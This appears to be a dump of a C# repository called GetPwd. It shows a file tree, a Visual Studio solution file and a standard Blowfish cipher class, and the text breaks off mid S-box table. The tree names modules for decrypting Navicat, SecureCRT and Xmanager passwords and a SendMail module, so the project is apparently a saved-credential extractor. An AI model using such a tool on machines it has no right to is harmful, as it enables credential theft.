├── .vs
└── GetPwd
│ ├── v15
│ ├── .suo
│ └── Server
│ │ └── sqlite3
│ │ ├── db.lock
│ │ ├── storage.ide
│ │ ├── storage.ide-shm
│ │ └── storage.ide-wal
│ └── v16
│ └── .suo
├── GetPwd.sln
├── GetPwd
├── App.config
├── BlowFishC.cs
├── Blowfish.cs
├── GetPwd.csproj
├── NavicatCrypto.cs
├── Program.cs
├── Properties
│ └── AssemblyInfo.cs
├── SecureCRTCipher.cs
├── SendMail.cs
├── XmangagerCrypt.cs
├── bin
│ └── Debug
│ │ ├── GetPwd.exe.config
│ │ └── GetPwd.pdb
└── obj
│ └── Debug
│ ├── .NETFramework,Version=v4.5.AssemblyAttributes.cs
│ ├── DesignTimeResolveAssemblyReferencesInput.cache
│ ├── GetPwd.csproj.CoreCompileInputs.cache
│ ├── GetPwd.csproj.FileListAbsolute.txt
│ ├── GetPwd.csproj.ResolveComReference.cache
│ ├── GetPwd.csprojAssemblyReference.cache
│ ├── GetPwd.pdb
│ ├── Interop.IWshRuntimeLibrary.dll
│ ├── TemporaryGeneratedFile_036C0B5B-1481-4323-8D20-8F5ADCB23D92.cs
│ ├── TemporaryGeneratedFile_5937a670-0e60-4077-877b-f7221da3dda1.cs
│ └── TemporaryGeneratedFile_E7A71F73-0F8D-4B9B-B56E-8E70B10BC5D3.cs
├── LICENSE
└── README.md
/.vs/GetPwd/v15/.suo:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/sf197/GetPwd/87b69b685d248859b1af3e3d74d4569c0daf2087/.vs/GetPwd/v15/.suo
--------------------------------------------------------------------------------
/.vs/GetPwd/v15/Server/sqlite3/db.lock:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/sf197/GetPwd/87b69b685d248859b1af3e3d74d4569c0daf2087/.vs/GetPwd/v15/Server/sqlite3/db.lock
--------------------------------------------------------------------------------
/.vs/GetPwd/v15/Server/sqlite3/storage.ide:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/sf197/GetPwd/87b69b685d248859b1af3e3d74d4569c0daf2087/.vs/GetPwd/v15/Server/sqlite3/storage.ide
--------------------------------------------------------------------------------
/.vs/GetPwd/v15/Server/sqlite3/storage.ide-shm:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/sf197/GetPwd/87b69b685d248859b1af3e3d74d4569c0daf2087/.vs/GetPwd/v15/Server/sqlite3/storage.ide-shm
--------------------------------------------------------------------------------
/.vs/GetPwd/v15/Server/sqlite3/storage.ide-wal:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/sf197/GetPwd/87b69b685d248859b1af3e3d74d4569c0daf2087/.vs/GetPwd/v15/Server/sqlite3/storage.ide-wal
--------------------------------------------------------------------------------
/.vs/GetPwd/v16/.suo:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/sf197/GetPwd/87b69b685d248859b1af3e3d74d4569c0daf2087/.vs/GetPwd/v16/.suo
--------------------------------------------------------------------------------
/GetPwd.sln:
--------------------------------------------------------------------------------
1 |
2 | Microsoft Visual Studio Solution File, Format Version 12.00
3 | # Visual Studio 15
4 | VisualStudioVersion = 15.0.28307.329
5 | MinimumVisualStudioVersion = 10.0.40219.1
6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "GetPwd", "GetPwd\GetPwd.csproj", "{417384D0-9F47-4781-A318-DC657621B7D9}"
7 | EndProject
8 | Global
9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution
10 | Debug|Any CPU = Debug|Any CPU
11 | Release|Any CPU = Release|Any CPU
12 | EndGlobalSection
13 | GlobalSection(ProjectConfigurationPlatforms) = postSolution
14 | {417384D0-9F47-4781-A318-DC657621B7D9}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
15 | {417384D0-9F47-4781-A318-DC657621B7D9}.Debug|Any CPU.Build.0 = Debug|Any CPU
16 | {417384D0-9F47-4781-A318-DC657621B7D9}.Release|Any CPU.ActiveCfg = Release|Any CPU
17 | {417384D0-9F47-4781-A318-DC657621B7D9}.Release|Any CPU.Build.0 = Release|Any CPU
18 | EndGlobalSection
19 | GlobalSection(SolutionProperties) = preSolution
20 | HideSolutionNode = FALSE
21 | EndGlobalSection
22 | GlobalSection(ExtensibilityGlobals) = postSolution
23 | SolutionGuid = {F367EE98-A368-4AF5-9AC8-A97A2CC6AC88}
24 | EndGlobalSection
25 | EndGlobal
26 |
--------------------------------------------------------------------------------
/GetPwd/App.config:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
--------------------------------------------------------------------------------
/GetPwd/BlowFishC.cs:
--------------------------------------------------------------------------------
1 | //Blowfish encryption (ECB, CBC and CTR mode) as defined by Bruce Schneier here: http://www.schneier.com/paper-blowfish-fse.html
2 | //Complies with test vectors found here: http://www.schneier.com/code/vectors.txt
3 | //non-standard mode provided to be usable with the javascript crypto library found here: http://etherhack.co.uk/symmetric/blowfish/blowfish.html
4 | //By Taylor Hornby, 1/7/1010,
5 | //Code is partly adopted from the javascript crypto library by Daniel Rench
6 |
7 | /*USAGE:
8 |
9 | Provide the key when creating the object. The key can be any size up to 448 bits.
10 | The key can be given as a hex string or an array of bytes.
11 | BlowFish b = new BlowFish("04B915BA43FEB5B6");
12 |
13 | The plainText can be either a string or byte array.
14 | string plainText = "The quick brown fox jumped over the lazy dog.";
15 |
16 | Use the Encypt_* methods to encrypt the plaintext in the mode that you want.
17 | To Encrypt or decrypt a byte array using CBC or CTR mode, an array of bytes, you must provide an initialization vector.
18 | A random IV can be created by calling SetRandomIV, then accessed with the IV property as it will be required to decrypt the data.
19 | It is safe for the IV to be known by an attacker, as long as it is NEVER reused. IVs are handled automatically when encrypting and decrypting strings.
20 | string cipherText = b.Encrypt_CBC(plainText);
21 | MessageBox.Show(cipherText);
22 |
23 | Use the same mode of operation for decryption.
24 | plainText = b.Decrypt_CBC(cipherText);
25 | MessageBox.Show(plainText);
26 | */
27 |
28 | /*Which mode should I use?
29 | *---ECB---
30 | * ECB mode encrypts each block of data with the same key, so patterns in a large set of data will be visible.
31 | * Encrypting the same data with the same key will result in the same ciphertext. This mode should NOT be used unless neccessary.
32 | *
33 | *---CBC---
34 | * CBC mode encrypts each block of data in succession so that any changes in the data will result in a completly different ciphertext.
35 | * Also, an IV is used so that encrypting the same data with the same key will result in a different ciphertext.
36 | * CBC mode is the most popular mode of operation.
37 | *
38 | *---CTR---
39 | * CTR mode uses an IV and a counter to encrypt each block individually.
40 | * Like ECB mode, with the added protection of an IV to make sure the same plaintext encrypted with the same key yeilds a different result.
41 | * The counter ensures that no patterns will be visible. CTR mode is secure and can be optimized for multi-threaded applications.
42 | *
43 | * For more information on cipher modes of operation, see http://en.wikipedia.org/wiki/Block_cipher_modes_of_operation
44 | */
45 |
46 | /*Things to remember
47 | * -Always use unique initialization vectors when using CBC and CTR mode. SetRandomIV will do the job for you.
48 | * -Blowfish is only as secure as the key you provide. When derriving a key from a password, use a secure hash function such as SHA-256 to create the key.
49 | * -Read "Which mode should I use?" and choose the best mode for your application
50 | * -Use a MAC to ensure that the ciphertext and IV have not been modified.
51 | * -Do not use the compatibility mode unless neccessary.
52 | */
53 |
54 | using System;
55 | using System.Text;
56 | using System.Security.Cryptography;
57 |
58 | namespace GetPwd
59 | {
60 | class BlowFishC
61 | {
62 | #region "Global variables and constants"
63 |
64 | const int ROUNDS = 16; //standard is 16, to increase the number of rounds, bf_P needs to be equal to the number of rouds. Use digits of PI.
65 |
66 | //Random number generator for creating IVs
67 | RNGCryptoServiceProvider randomSource;
68 |
69 | //SBLOCKS
70 | private uint[] bf_s0;
71 | private uint[] bf_s1;
72 | private uint[] bf_s2;
73 | private uint[] bf_s3;
74 |
75 | private uint[] bf_P;
76 |
77 | //KEY
78 | private byte[] key;
79 |
80 | //HALF-BLOCKS
81 | private uint xl_par;
82 | private uint xr_par;
83 |
84 | //Initialization Vector for CBC and CTR mode
85 | private byte[] InitVector;
86 | private bool IVSet;
87 |
88 | //For compatibility with the javascript crypto library:
89 | // http://etherhack.co.uk/symmetric/blowfish/blowfish.html
90 | private bool nonStandardMethod;
91 |
92 | #endregion
93 |
94 | #region "Constructors"
95 |
96 | ///
97 | /// Constructor for hex key
98 | ///
99 | /// Cipher key as a hex string
100 | public BlowFishC(string hexKey)
101 | {
102 | randomSource = new RNGCryptoServiceProvider();
103 | SetupKey(HexToByte(hexKey));
104 | }
105 |
106 | ///
107 | /// Constructor for byte key
108 | ///
109 | /// Cipher key as a byte array
110 | public BlowFishC(byte[] cipherKey)
111 | {
112 | randomSource = new RNGCryptoServiceProvider();
113 | SetupKey(cipherKey);
114 | }
115 |
116 | #endregion
117 |
118 | #region "Public methods"
119 |
120 | ///
121 | /// Encrypts a string in CBC mode
122 | ///
123 | /// Plaintext data to encrypt
124 | /// Ciphertext with IV appended to front
125 | public string Encrypt_CBC(string pt)
126 | {
127 | if (!IVSet)
128 | SetRandomIV();
129 | return ByteToHex(InitVector) + ByteToHex(Encrypt_CBC(Encoding.ASCII.GetBytes(pt)));
130 | }
131 |
132 | ///
133 | /// Decrypts a string in CBC mode
134 | ///
135 | /// Ciphertext with IV appended to front
136 | /// Plaintext
137 | public string Decrypt_CBC(string ct)
138 | {
139 | IV = HexToByte(ct.Substring(0, 16));
140 | return Encoding.ASCII.GetString(Decrypt_CBC(HexToByte(ct.Substring(16)))).Replace("\0", "");
141 | }
142 |
143 | ///
144 | /// Decrypts a byte array in CBC mode.
145 | /// IV must be created and saved manually.
146 | ///
147 | /// Ciphertext data to decrypt
148 | /// Plaintext
149 | public byte[] Decrypt_CBC(byte[] ct)
150 | {
151 | return Crypt_CBC(ct, true);
152 | }
153 |
154 | ///
155 | /// Encrypts a byte array in CBC mode.
156 | /// IV must be created and saved manually.
157 | ///
158 | /// Plaintext data to encrypt
159 | /// Ciphertext
160 | public byte[] Encrypt_CBC(byte[] pt)
161 | {
162 | return Crypt_CBC(pt, false);
163 | }
164 |
165 | ///
166 | /// Encrypt a string in ECB mode
167 | ///
168 | /// Plaintext to encrypt as ascii string
169 | /// hex value of encrypted data
170 | public string Encrypt_ECB(string pt)
171 | {
172 | return ByteToHex(Encrypt_ECB(Encoding.ASCII.GetBytes(pt)));
173 | }
174 |
175 | ///
176 | /// Decrypts a string (ECB)
177 | ///
178 | /// hHex string of the ciphertext
179 | /// Plaintext ascii string
180 | public string Decrypt_ECB(string ct)
181 | {
182 | return Encoding.ASCII.GetString(Decrypt_ECB(HexToByte(ct))).Replace("\0", "");
183 | }
184 |
185 | ///
186 | /// Encrypts a byte array in ECB mode
187 | ///
188 | /// Plaintext data
189 | /// Ciphertext bytes
190 | public byte[] Encrypt_ECB(byte[] pt)
191 | {
192 | return Crypt_ECB(pt, false);
193 | }
194 |
195 | ///
196 | /// Decrypts a byte array (ECB)
197 | ///
198 | /// Ciphertext byte array
199 | /// Plaintext
200 | public byte[] Decrypt_ECB(byte[] ct)
201 | {
202 | return Crypt_ECB(ct, true);
203 | }
204 |
205 | ///
206 | /// Encrypts a string (CTR)
207 | ///
208 | /// The plaintext to encrypt
209 | /// The ciphertext
210 | public string Encrypt_CTR(string pt)
211 | {
212 | if (!IVSet)
213 | SetRandomIV();
214 | return ByteToHex(InitVector) + ByteToHex(Crypt_CTR(Encoding.ASCII.GetBytes(pt), 2));
215 | }
216 |
217 | ///
218 | /// Decrypt a string (CTR)
219 | ///
220 | /// The ciphertext to decrypt
221 | /// The plaintext
222 | public string Decrypt_CTR(string ct)
223 | {
224 | IV = HexToByte(ct.Substring(0, 16));
225 | return Encoding.ASCII.GetString(Crypt_CTR(HexToByte(ct.Substring(16)), 2)).Replace("\0", "");
226 | }
227 |
228 | ///
229 | /// Initialization vector for CBC mode.
230 | ///
231 | public byte[] IV
232 | {
233 | get { return InitVector; }
234 | set
235 | {
236 | if (value.Length == 8)
237 | {
238 | InitVector = value;
239 | IVSet = true;
240 | }
241 | else
242 | {
243 | throw new Exception("Invalid IV size.");
244 | }
245 | }
246 | }
247 |
248 | public bool NonStandard
249 | {
250 | get { return nonStandardMethod; }
251 | set { nonStandardMethod = value; }
252 | }
253 |
254 | ///
255 | /// Creates and sets a random initialization vector.
256 | ///
257 | /// The random IV
258 | public byte[] SetRandomIV()
259 | {
260 | InitVector = new byte[8];
261 | randomSource.GetBytes(InitVector);
262 | IVSet = true;
263 | return InitVector;
264 | }
265 |
266 | #endregion
267 |
268 | #region Cryptography
269 |
270 | ///
271 | /// Sets up the S-blocks and the key
272 | ///
273 | /// Block cipher key (1-448 bits)
274 | private void SetupKey(byte[] cipherKey)
275 | {
276 | bf_P = SetupP();
277 | //set up the S blocks
278 | bf_s0 = SetupS0();
279 | bf_s1 = SetupS1();
280 | bf_s2 = SetupS2();
281 | bf_s3 = SetupS3();
282 |
283 | key = new byte[cipherKey.Length]; // 448 bits
284 | if (cipherKey.Length > 56)
285 | {
286 | throw new Exception("Key too long. 56 bytes required.");
287 | }
288 |
289 | Buffer.BlockCopy(cipherKey, 0, key, 0, cipherKey.Length);
290 | int j = 0;
291 | for (int i = 0; i < 18; i++)
292 | {
293 | uint d = (uint)(((key[j % cipherKey.Length] * 256 + key[(j + 1) % cipherKey.Length]) * 256 + key[(j + 2) % cipherKey.Length]) * 256 + key[(j + 3) % cipherKey.Length]);
294 | bf_P[i] ^= d;
295 | j = (j + 4) % cipherKey.Length;
296 | }
297 |
298 | xl_par = 0;
299 | xr_par = 0;
300 | for (int i = 0; i < 18; i += 2)
301 | {
302 | encipher();
303 | bf_P[i] = xl_par;
304 | bf_P[i + 1] = xr_par;
305 | }
306 |
307 | for (int i = 0; i < 256; i += 2)
308 | {
309 | encipher();
310 | bf_s0[i] = xl_par;
311 | bf_s0[i + 1] = xr_par;
312 | }
313 | for (int i = 0; i < 256; i += 2)
314 | {
315 | encipher();
316 | bf_s1[i] = xl_par;
317 | bf_s1[i + 1] = xr_par;
318 | }
319 | for (int i = 0; i < 256; i += 2)
320 | {
321 | encipher();
322 | bf_s2[i] = xl_par;
323 | bf_s2[i + 1] = xr_par;
324 | }
325 | for (int i = 0; i < 256; i += 2)
326 | {
327 | encipher();
328 | bf_s3[i] = xl_par;
329 | bf_s3[i + 1] = xr_par;
330 | }
331 | }
332 |
333 | ///
334 | /// Encrypts or decrypts data in ECB mode
335 | ///
336 | /// plain/ciphertext
337 | /// true to decrypt, false to encrypt
338 | /// (En/De)crypted data
339 | private byte[] Crypt_ECB(byte[] text, bool decrypt)
340 | {
341 | int paddedLen = (text.Length % 8 == 0 ? text.Length : text.Length + 8 - (text.Length % 8));
342 | byte[] plainText = new byte[paddedLen];
343 | Buffer.BlockCopy(text, 0, plainText, 0, text.Length);
344 | byte[] block = new byte[8];
345 | for (int i = 0; i < plainText.Length; i += 8)
346 | {
347 | Buffer.BlockCopy(plainText, i, block, 0, 8);
348 | if (decrypt)
349 | {
350 | BlockDecrypt(ref block);
351 | }
352 | else
353 | {
354 | BlockEncrypt(ref block);
355 | }
356 | Buffer.BlockCopy(block, 0, plainText, i, 8);
357 | }
358 | return plainText;
359 | }
360 |
361 | public byte[] Crypt_CTR(byte[] text, int numThreads)
362 | {
363 | if (!IVSet)
364 | {
365 | throw new Exception("IV not set.");
366 | }
367 | byte[] input = new byte[8];
368 | byte[] counter = new byte[8];
369 | int paddedLen = (text.Length % 8 == 0 ? text.Length : text.Length + 8 - (text.Length % 8));
370 | byte[] plainText = new byte[paddedLen];
371 | Buffer.BlockCopy(text, 0, plainText, 0, text.Length);
372 | byte[] block = new byte[8];
373 | for (int i = 0; i < plainText.Length; i += 8)
374 | {
375 | for (int x = 0; x < 8; x++)
376 | {
377 | input[x] = (byte)(counter[x] ^ InitVector[x]);
378 | }
379 | Buffer.BlockCopy(plainText, i, block, 0, 8);
380 | BlockEncrypt(ref input);
381 | XorBlock(ref block, input);
382 | Buffer.BlockCopy(block, 0, plainText, i, 8);
383 | }
384 | return plainText;
385 | }
386 |
387 | ///
388 | /// Encrypts or decrypts data in CBC mode
389 | ///
390 | /// plain/ciphertext
391 | /// true to decrypt, false to encrypt
392 | /// (En/De)crypted data
393 | private byte[] Crypt_CBC(byte[] text, bool decrypt)
394 | {
395 | if (!IVSet)
396 | {
397 | throw new Exception("IV not set.");
398 | }
399 | int paddedLen = (text.Length % 8 == 0 ? text.Length : text.Length + 8 - (text.Length % 8));
400 | byte[] plainText = new byte[paddedLen];
401 | Buffer.BlockCopy(text, 0, plainText, 0, text.Length);
402 | byte[] block = new byte[8];
403 | byte[] preblock = new byte[8];
404 | byte[] iv = new byte[8];
405 | Buffer.BlockCopy(InitVector, 0, iv, 0, 8);
406 | if (!decrypt)
407 | {
408 | for (int i = 0; i < plainText.Length; i += 8)
409 | {
410 | Buffer.BlockCopy(plainText, i, block, 0, 8);
411 | XorBlock(ref block, iv);
412 | BlockEncrypt(ref block);
413 | Buffer.BlockCopy(block, 0, iv, 0, 8);
414 | Buffer.BlockCopy(block, 0, plainText, i, 8);
415 | }
416 | }
417 | else
418 | {
419 | for (int i = 0; i < plainText.Length; i += 8)
420 | {
421 | Buffer.BlockCopy(plainText, i, block, 0, 8);
422 |
423 | Buffer.BlockCopy(block, 0, preblock, 0, 8);
424 | BlockDecrypt(ref block);
425 | XorBlock(ref block, iv);
426 | Buffer.BlockCopy(preblock, 0, iv, 0, 8);
427 |
428 | Buffer.BlockCopy(block, 0, plainText, i, 8);
429 | }
430 | }
431 | return plainText;
432 | }
433 |
434 | ///
435 | /// XoR encrypts two 8 bit blocks
436 | ///
437 | /// 8 bit block 1
438 | /// 8 bit block 2
439 | private void XorBlock(ref byte[] block, byte[] iv)
440 | {
441 | for (int i = 0; i < block.Length; i++)
442 | {
443 | block[i] ^= iv[i];
444 | }
445 | }
446 |
447 | ///
448 | /// Encrypts a 64 bit block
449 | ///
450 | /// The 64 bit block to encrypt
451 | private void BlockEncrypt(ref byte[] block)
452 | {
453 | SetBlock(block);
454 | encipher();
455 | GetBlock(ref block);
456 | }
457 |
458 | ///
459 | /// Decrypts a 64 bit block
460 | ///
461 | /// The 64 bit block to decrypt
462 | private void BlockDecrypt(ref byte[] block)
463 | {
464 | SetBlock(block);
465 | decipher();
466 | GetBlock(ref block);
467 | }
468 |
469 | ///
470 | /// Splits the block into the two uint values
471 | ///
472 | /// the 64 bit block to setup
473 | private void SetBlock(byte[] block)
474 | {
475 | byte[] block1 = new byte[4];
476 | byte[] block2 = new byte[4];
477 | Buffer.BlockCopy(block, 0, block1, 0, 4);
478 | Buffer.BlockCopy(block, 4, block2, 0, 4);
479 | //split the block
480 | if (nonStandardMethod)
481 | {
482 | xr_par = BitConverter.ToUInt32(block1, 0);
483 | xl_par = BitConverter.ToUInt32(block2, 0);
484 | }
485 | else
486 | {
487 | //ToUInt32 requires the bytes in reverse order
488 | Array.Reverse(block1);
489 | Array.Reverse(block2);
490 | xl_par = BitConverter.ToUInt32(block1, 0);
491 | xr_par = BitConverter.ToUInt32(block2, 0);
492 | }
493 | }
494 |
495 | ///
496 | /// Converts the two uint values into a 64 bit block
497 | ///
498 | /// 64 bit buffer to receive the block
499 | private void GetBlock(ref byte[] block)
500 | {
501 | byte[] block1 = new byte[4];
502 | byte[] block2 = new byte[4];
503 | if (nonStandardMethod)
504 | {
505 | block1 = BitConverter.GetBytes(xr_par);
506 | block2 = BitConverter.GetBytes(xl_par);
507 | }
508 | else
509 | {
510 | block1 = BitConverter.GetBytes(xl_par);
511 | block2 = BitConverter.GetBytes(xr_par);
512 |
513 | //GetBytes returns the bytes in reverse order
514 | Array.Reverse(block1);
515 | Array.Reverse(block2);
516 | }
517 | //join the block
518 | Buffer.BlockCopy(block1, 0, block, 0, 4);
519 | Buffer.BlockCopy(block2, 0, block, 4, 4);
520 | }
521 |
522 | ///
523 | /// Runs the blowfish algorithm (standard 16 rounds)
524 | ///
525 | private void encipher()
526 | {
527 | xl_par ^= bf_P[0];
528 | for (uint i = 0; i < ROUNDS; i += 2)
529 | {
530 | xr_par = round(xr_par, xl_par, i + 1);
531 | xl_par = round(xl_par, xr_par, i + 2);
532 | }
533 | xr_par = xr_par ^ bf_P[17];
534 |
535 | //swap the blocks
536 | uint swap = xl_par;
537 | xl_par = xr_par;
538 | xr_par = swap;
539 | }
540 |
541 | ///
542 | /// Runs the blowfish algorithm in reverse (standard 16 rounds)
543 | ///
544 | private void decipher()
545 | {
546 | xl_par ^= bf_P[17];
547 | for (uint i = 16; i > 0; i -= 2)
548 | {
549 | xr_par = round(xr_par, xl_par, i);
550 | xl_par = round(xl_par, xr_par, i - 1);
551 | }
552 | xr_par = xr_par ^ bf_P[0];
553 |
554 | //swap the blocks
555 | uint swap = xl_par;
556 | xl_par = xr_par;
557 | xr_par = swap;
558 | }
559 |
560 | ///
561 | /// one round of the blowfish algorithm
562 | ///
563 | /// See spec
564 | /// See spec
565 | /// See spec
566 | ///
567 | private uint round(uint a, uint b, uint n)
568 | {
569 | uint x1 = (bf_s0[wordByte0(b)] + bf_s1[wordByte1(b)]) ^ bf_s2[wordByte2(b)];
570 | uint x2 = x1 + bf_s3[this.wordByte3(b)];
571 | uint x3 = x2 ^ bf_P[n];
572 | return x3 ^ a;
573 | }
574 |
575 | #endregion
576 |
577 | #region SBLOCKS
578 | //SBLOCKS ARE THE HEX DIGITS OF PI.
579 | //The amount of hex digits can be increased if you want to experiment with more rounds and longer key lengths
580 |
581 | //Increase the size of this array when increasing the number of rounds
582 | private uint[] SetupP()
583 | {
584 | return new uint[] {
585 | 0x243f6a88,0x85a308d3,0x13198a2e,0x03707344,0xa4093822,0x299f31d0,
586 | 0x082efa98,0xec4e6c89,0x452821e6,0x38d01377,0xbe5466cf,0x34e90c6c,
587 | 0xc0ac29b7,0xc97c50dd,0x3f84d5b5,0xb5470917,0x9216d5d9,0x8979fb1b
588 | };
589 | }
590 |
591 | private uint[] SetupS0()
592 | {
593 | return new uint[] {
594 | 0xd1310ba6,0x98dfb5ac,0x2ffd72db,0xd01adfb7,0xb8e1afed,0x6a267e96,
595 | 0xba7c9045,0xf12c7f99,0x24a19947,0xb3916cf7,0x0801f2e2,0x858efc16,
596 | 0x636920d8,0x71574e69,0xa458fea3,0xf4933d7e,0x0d95748f,0x728eb658,
597 | 0x718bcd58,0x82154aee,0x7b54a41d,0xc25a59b5,0x9c30d539,0x2af26013,
598 | 0xc5d1b023,0x286085f0,0xca417918,0xb8db38ef,0x8e79dcb0,0x603a180e,
599 | 0x6c9e0e8b,0xb01e8a3e,0xd71577c1,0xbd314b27,0x78af2fda,0x55605c60,
600 | 0xe65525f3,0xaa55ab94,0x57489862,0x63e81440,0x55ca396a,0x2aab10b6,
601 | 0xb4cc5c34,0x1141e8ce,0xa15486af,0x7c72e993,0xb3ee1411,0x636fbc2a,
602 | 0x2ba9c55d,0x741831f6,0xce5c3e16,0x9b87931e,0xafd6ba33,0x6c24cf5c,
603 | 0x7a325381,0x28958677,0x3b8f4898,0x6b4bb9af,0xc4bfe81b,0x66282193,
604 | 0x61d809cc,0xfb21a991,0x487cac60,0x5dec8032,0xef845d5d,0xe98575b1,
605 | 0xdc262302,0xeb651b88,0x23893e81,0xd396acc5,0x0f6d6ff3,0x83f44239,
606 | 0x2e0b4482,0xa4842004,0x69c8f04a,0x9e1f9b5e,0x21c66842,0xf6e96c9a,
607 | 0x670c9c61,0xabd388f0,0x6a51a0d2,0xd8542f68,0x960fa728,0xab5133a3,
608 | 0x6eef0b6c,0x137a3be4,0xba3bf050,0x7efb2a98,0xa1f1651d,0x39af0176,
609 | 0x66ca593e,0x82430e88,0x8cee8619,0x456f9fb4,0x7d84a5c3,0x3b8b5ebe,
610 | 0xe06f75d8,0x85c12073,0x401a449f,0x56c16aa6,0x4ed3aa62,0x363f7706,
611 | 0x1bfedf72,0x429b023d,0x37d0d724,0xd00a1248,0xdb0fead3,0x49f1c09b,
612 | 0x075372c9,0x80991b7b,0x25d479d8,0xf6e8def7,0xe3fe501a,0xb6794c3b,
613 | 0x976ce0bd,0x04c006ba,0xc1a94fb6,0x409f60c4,0x5e5c9ec2,0x196a2463,
614 | 0x68fb6faf,0x3e6c53b5,0x1339b2eb,0x3b52ec6f,0x6dfc511f,0x9b30952c,
615 | 0xcc814544,0xaf5ebd09,0xbee3d004,0xde334afd,0x660f2807,0x192e4bb3,
616 | 0xc0cba857,0x45c8740f,0xd20b5f39,0xb9d3fbdb,0x5579c0bd,0x1a60320a,
617 | 0xd6a100c6,0x402c7279,0x679f25fe,0xfb1fa3cc,0x8ea5e9f8,0xdb3222f8,
618 | 0x3c7516df,0xfd616b15,0x2f501ec8,0xad0552ab,0x323db5fa,0xfd238760,
619 | 0x53317b48,0x3e00df82,0x9e5c57bb,0xca6f8ca0,0x1a87562e,0xdf1769db,
620 | 0xd542a8f6,0x287effc3,0xac6732c6,0x8c4f5573,0x695b27b0,0xbbca58c8,
621 | 0xe1ffa35d,0xb8f011a0,0x10fa3d98,0xfd2183b8,0x4afcb56c,0x2dd1d35b,
622 | 0x9a53e479,0xb6f84565,0xd28e49bc,0x4bfb9790,0xe1ddf2da,0xa4cb7e33,
623 | 0x62fb1341,0xcee4c6e8,0xef20cada,0x36774c01,0xd07e9efe,0x2bf11fb4,
624 | 0x95dbda4d,0xae909198,0xeaad8e71,0x6b93d5a0,0xd08ed1d0,0xafc725e0,
625 | 0x8e3c5b2f,0x8e7594b7,0x8ff6e2fb,0xf2122b64,0x8888b812,0x900df01c,
626 | 0x4fad5ea0,0x688fc31c,0xd1cff191,0xb3a8c1ad,0x2f2f2218,0xbe0e1777,
627 | 0xea752dfe,0x8b021fa1,0xe5a0cc0f,0xb56f74e8,0x18acf3d6,0xce89e299,
628 | 0xb4a84fe0,0xfd13e0b7,0x7cc43b81,0xd2ada8d9,0x165fa266,0x80957705,
629 | 0x93cc7314,0x211a1477,0xe6ad2065,0x77b5fa86,0xc75442f5,0xfb9d35cf,
630 | 0xebcdaf0c,0x7b3e89a0,0xd6411bd3,0xae1e7e49,0x00250e2d,0x2071b35e,
631 | 0x226800bb,0x57b8e0af,0x2464369b,0xf009b91e,0x5563911d,0x59dfa6aa,
632 | 0x78c14389,0xd95a537f,0x207d5ba2,0x02e5b9c5,0x83260376,0x6295cfa9,
633 | 0x11c81968,0x4e734a41,0xb3472dca,0x7b14a94a,0x1b510052,0x9a532915,
634 | 0xd60f573f,0xbc9bc6e4,0x2b60a476,0x81e67400,0x08ba6fb5,0x571be91f,
635 | 0xf296ec6b,0x2a0dd915,0xb6636521,0xe7b9f9b6,0xff34052e,0xc5855664,
636 | 0x53b02d5d,0xa99f8fa1,0x08ba4799,0x6e85076a
637 | };
638 | }
639 |
640 | private uint[] SetupS1()
641 | {
642 | return new uint[] {
643 | 0x4b7a70e9,0xb5b32944,0xdb75092e,0xc4192623,0xad6ea6b0,0x49a7df7d,
644 | 0x9cee60b8,0x8fedb266,0xecaa8c71,0x699a17ff,0x5664526c,0xc2b19ee1,
645 | 0x193602a5,0x75094c29,0xa0591340,0xe4183a3e,0x3f54989a,0x5b429d65,
646 | 0x6b8fe4d6,0x99f73fd6,0xa1d29c07,0xefe830f5,0x4d2d38e6,0xf0255dc1,
647 | 0x4cdd2086,0x8470eb26,0x6382e9c6,0x021ecc5e,0x09686b3f,0x3ebaefc9,
648 | 0x3c971814,0x6b6a70a1,0x687f3584,0x52a0e286,0xb79c5305,0xaa500737,
649 | 0x3e07841c,0x7fdeae5c,0x8e7d44ec,0x5716f2b8,0xb03ada37,0xf0500c0d,
650 | 0xf01c1f04,0x0200b3ff,0xae0cf51a,0x3cb574b2,0x25837a58,0xdc0921bd,
651 | 0xd19113f9,0x7ca92ff6,0x94324773,0x22f54701,0x3ae5e581,0x37c2dadc,
652 | 0xc8b57634,0x9af3dda7,0xa9446146,0x0fd0030e,0xecc8c73e,0xa4751e41,
653 | 0xe238cd99,0x3bea0e2f,0x3280bba1,0x183eb331,0x4e548b38,0x4f6db908,
654 | 0x6f420d03,0xf60a04bf,0x2cb81290,0x24977c79,0x5679b072,0xbcaf89af,
655 | 0xde9a771f,0xd9930810,0xb38bae12,0xdccf3f2e,0x5512721f,0x2e6b7124,
656 | 0x501adde6,0x9f84cd87,0x7a584718,0x7408da17,0xbc9f9abc,0xe94b7d8c,
657 | 0xec7aec3a,0xdb851dfa,0x63094366,0xc464c3d2,0xef1c1847,0x3215d908,
658 | 0xdd433b37,0x24c2ba16,0x12a14d43,0x2a65c451,0x50940002,0x133ae4dd,
659 | 0x71dff89e,0x10314e55,0x81ac77d6,0x5f11199b,0x043556f1,0xd7a3c76b,
660 | 0x3c11183b,0x5924a509,0xf28fe6ed,0x97f1fbfa,0x9ebabf2c,0x1e153c6e,
661 | 0x86e34570,0xeae96fb1,0x860e5e0a,0x5a3e2ab3,0x771fe71c,0x4e3d06fa,
662 | 0x2965dcb9,0x99e71d0f,0x803e89d6,0x5266c825,0x2e4cc978,0x9c10b36a,
663 | 0xc6150eba,0x94e2ea78,0xa5fc3c53,0x1e0a2df4,0xf2f74ea7,0x361d2b3d,
664 | 0x1939260f,0x19c27960,0x5223a708,0xf71312b6,0xebadfe6e,0xeac31f66,
665 | 0xe3bc4595,0xa67bc883,0xb17f37d1,0x018cff28,0xc332ddef,0xbe6c5aa5,
666 | 0x65582185,0x68ab9802,0xeecea50f,0xdb2f953b,0x2aef7dad,0x5b6e2f84,
667 | 0x1521b628,0x29076170,0xecdd4775,0x619f1510,0x13cca830,0xeb61bd96,
668 | 0x0334fe1e,0xaa0363cf,0xb5735c90,0x4c70a239,0xd59e9e0b,0xcbaade14,
669 | 0xeecc86bc,0x60622ca7,0x9cab5cab,0xb2f3846e,0x648b1eaf,0x19bdf0ca,
